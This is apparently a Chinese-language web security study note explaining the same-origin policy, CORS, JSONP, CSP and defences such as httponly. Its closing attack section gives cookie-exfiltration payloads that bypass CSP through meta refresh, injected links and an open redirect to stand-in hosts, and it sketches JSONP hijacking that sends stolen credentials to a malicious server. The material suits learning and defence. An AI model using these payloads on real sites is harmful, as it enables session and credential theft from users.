同源策略与跨域

同源策略

同源的定义

若两个URL 协议,端口,host都相同,则这两个URL同源。
这个方案叫做“协议/主机/端口元组”,或者直接是 “元组”

同源策略又分为DOM同源策略(禁止对不同源的页面的DOM进行操作)和XMLHttpRequest(禁止XHR对象项不同源的服务器地址发起HTTP请求)同源策略

同源策略的作用

限制一个JS脚本对不同源的URL进行操作。

这么说可能会有点抽象,那不如看看下面的例子:

1.如果没有DOM同源策略,就意味着一个页面可以对任意页面的DOM进行操作。那么就会导致以下安全问题:
做一个假网站,并插入一个占满全页面的iframe指向一个登陆界面如银行登录界面。用户进来后会发现除了域名不同,其他都和正常的银行登陆界面一致。若用户输入了账号密码,那么我们就可以跨域读取到银行登陆界面的dom树,从而读取用户输入的账号密码。

2.如果没有XMLHttpRequest,就意味着可以一个页面可以向任意页面发起HTTP请求。那么就会导致以下安全问题:
当一个用户登陆了某个系统,如银行个人系统,此时银行网站会给用户返回cookie。如果用户此时访问了我们的恶意网站,就会执行我们恶意网站中的恶意AJAX代码,此AJAX代码会向银行网站发起HTTP请求,比如发起查询账户余额的请求(此时会默认附带用户的cookie)。银行页面发现cookie无误,就会返回请求的数据:账户余额,造成数据泄露。

跨域

上面我们说了同源策略中,一个页面不能对不同源的页面进行操作。但是在实际情况中,还是有一些js标签能摆脱这种束缚,如script标签就能通过src属性获取不同源页面上的js代码,iframe能嵌入不同源站点的资源等等。
这样的标签有如下

<script src="..."></script>
<link rel="stylesheet" href="...">
<img> / <video> / <audio>
<object> <embed> 和 <applet> 的插件
@font-face
<frame> 和 <iframe>

但仅仅是这样,有些时候还是无法达到业务的需求,我们有时需要突破这种限制来达到业务需求,也就是避开同源策略,以下是几种解决方案。

CORS

CORS,即跨域资源共享,它是一个W3C标准,定义了必须访问跨域资源时,浏览器和服务器该如何协商。
其实质就是以AJAX为载体,使用自定义HTTP头让浏览器与服务器进行协商,从而决定跨域请求是否应该成功。
所以实现CORS通信的关键是服务器是否实现了CORS接口。

另外,并不是所有浏览器都支持CORS,比如IE6,IE7,Opera min 不支持CORS。

实现原理

浏览器把CORS的请求分成两类:简单请求与非简单请求

简单请求:
满足以下条件,即为简单请求

请求方法是以下三种方法之一:
HEAD
GET
POST

且HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain

只要不满足以上条件,都为非简单请求。

对于简单请求,其实现原理如下:

1.在请求头中加一个额外头:Origin, 其包含发出请求的页面的协议,域名,端口,服务器以此来判断是否给予响应。
2.服务器收到请求后,判别该Origin指向的站点能否跨域。若能跨域,就在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,可以回发 * );若不能跨域,则没有这个头部或者源信息不匹配(即Access-Control-Allow-Origin内容非*且与Origin不符)
3.同时如果服务器返回的头中有 Access-Control-Allow-Credentials: true ,则说明可以跨域向服务器发送带有cookie的HTTP请求。

对于非简单请求,它会实现进行预检,其原理如下:
1.进行预检,以OPTIONS方法向服务器发送Origin头部,Access-Control-Request-Method头部(接下来的请求方法,如POST),Access-Control-Request-Headers(自定义头部信息,可选)
2.服务器响应,有如下头:Access-Control-Allow-Origin,Access-Control-Allow-Methods(允许的请求方法),Access-Control-Allow-Headers(允许的自定义头部信息),Access-Control-Max-Age(应该将预检请求缓存多长时间,以秒为单位)
3.通过预检请求后,以后每次浏览器的CORS请求都会和简单请求一样。

JSONP

我们不妨通过一个例子来窥视JSONP的实现原理。

我们有如下文件test.html

<html>
<head></head>
<body>
<h1>HI</h1>
<script>
var fun1=function(data){
alert(data)
}
</script>
<script type="text/javascript" src="http://192.168.111.1/a.js"></script>
</body>
</html>

其包含的a.js如下

fun1("remote data");

访问test.html,成功触发弹窗,我们将test.html中的fun1函数称为回调函数

image-20210322211050387

于是就出现了利用这种原理来实现跨域传输数据的方法:JSONP

下面说说JSONP的具体实现流程:

客户端:
1.定义获取数据后的回调函数
2.动态生成服务端JS进行引用的代码

关于此处第2点,我们可以说道说道。
我们再用这个方法实现跨域时,怎么让远程JS知道我们本地的回调函数叫什么名字?
这就需要通过一些手段动态生成服务端的JS代码了。
比如我们可以通过get参数来控制其返回的本地回调函数名,如: http://a.com?callback=fun1

服务端:
返回由回调函数名包裹的JSON数据,如

fun1({
"key1":"value1"
});

这里为什么要特别强调是JSON呢?因为JSON不仅可以简洁的表述复杂的数据,而且JS原生支持JSON,可以在客户端自由处理JSON数据,所以服务端多传回JSON数据,JSONP这个名字也是这么来的。

CSP

CSP,即内容安全策略。它通过白名单策略,告诉客户端哪些外部资源可以加载和执行。
同时需要注意的是,CSP目前有1.0 2.0 3.0 版本,每个版本的规则都有不同

CSP规则

CSP通过定义一系列规则来实现安全管理。

首先我们来看看一条CSP规则的范例

Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none'
多个CSP指令间用分号隔开,多个指令值之间用空格隔开

下面是各个指令及其指令值的效果

摘自https://blog.csdn.net/qq_37943295/article/details/79978761

image-20210322214229302

image-20210322214238476

启用CSP

那么如何启用CSP呢?有两种方式

1.在HTTP头添加
在HTTP头响应添加content-security-policy头并写入CSP规则以后,就能启用CSP了

图引用于http://www.ruanyifeng.com/blog/2016/09/csp.html

image-20210322214736472

2.在meta标签里添加
向内添加如下内容

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
即可

一些其他XSS保护机制

X-Frame

X-Frame-Options 是一个响应头,指定此页面能否在<frame>或者<iframe>中插入.
他有三个可选值:

  • DENY

    页面不能被嵌入到任何iframe或frame中

  • SAMEORIGIN

    页面只能被本站页面嵌入到iframe或者frame中

  • ALLOW-FROM uri

    表示该页面可以在指定来源的 frame 中展示。

XSS auditor

httponly

httponly 是一个针对cookie的保护机制。
其实现原理是在response中对某一项cookie设置为HTTPONLY=true,从而使该cookie不能被document.cookie 读取。

我们随便找个网站,发现其captch_session_v2开启了httponly

image-20210323115121425

随后我们通过document.cookie尝试去读取aptch_session_v2的值,发现其值并没有出现在返回内容中image-20210323115228944

htmlspecialchars

htmlspecialchars是一个php函数,它可以将一些敏感字符转义

& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => &#039; (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >

攻击手段

bypass csp

csp,是可以被bypass的。我们接下来就想办法bypass csp来回传cookie

1

default-src 'none';

可以通过meta标签实现重定向

<meta http-equiv="refresh" content="1;url=http://www.xxx.com/x.php?cookie=[cookie]">

即,1秒后跳转至指定url

2

script-src ‘self’ ‘unsafe-inline’

开放了内联脚本。我们可以通过window.location,windows.open或者meta标签实现页面跳转。也可以通过动态创建元素实现跳转

var a = document.createElement("a");
a.href='http://www.baidu.com'+document.cookie;
a.click();

3

default-src 'self'; script-src 'self'

限制了只能加载本域JS脚本,同时禁止了内联脚本执行。
不过问题不大,如果我们有一个上传点,我们可以上传一个恶意JS文件,上传后如果我们知道此JS文件上传位置与文件名且上传的位置是本域,然后通过XSS实现加载此恶意JS文件。

另外在CSP1.0版本中,还可以通过以下方式进行跳转(现在不咋好用了)

<link rel="prefetch" href="http://xxx.cn"> (H5预加载)
<link rel="dns-prefetch" href="http://xxx.cn"> (DNS预加载)

4

script-src http://www.a.com/b/ 

限制了只能从某特定路径去加载JS脚本
对此一般的解决方法是看看此目录下有没有可控重定向的文件,比如这种

b/302.php
<?php Header("location: ".$_GET['url'])?>

我们就可以插入

<script src="b/302.php?url=http://a.com/upload/a.js">  

</script>

去加载我们上传的JS脚本(上传点自己找)

JSONP 劫持

简单说一说

首先存在网站B,它包含登录用户的ID,passwd等敏感信息。且有页面http://B.com/user?callback= 用来进行JSONP跨域数据传输ID,PASSWD等信息,这是前提。
用户登录B后,打开了我们的恶意网站A.com,A.com的内容为:

<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
function Callback(result)
{
将获取内容上传至恶意服务器的JS代码.....
}

那么A网站就会向网站B跨域请求到敏感信息,并上传到恶意服务器保存。
这就是JSONP劫持,此方法常用于水坑攻击

常用触发点与bypass

https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html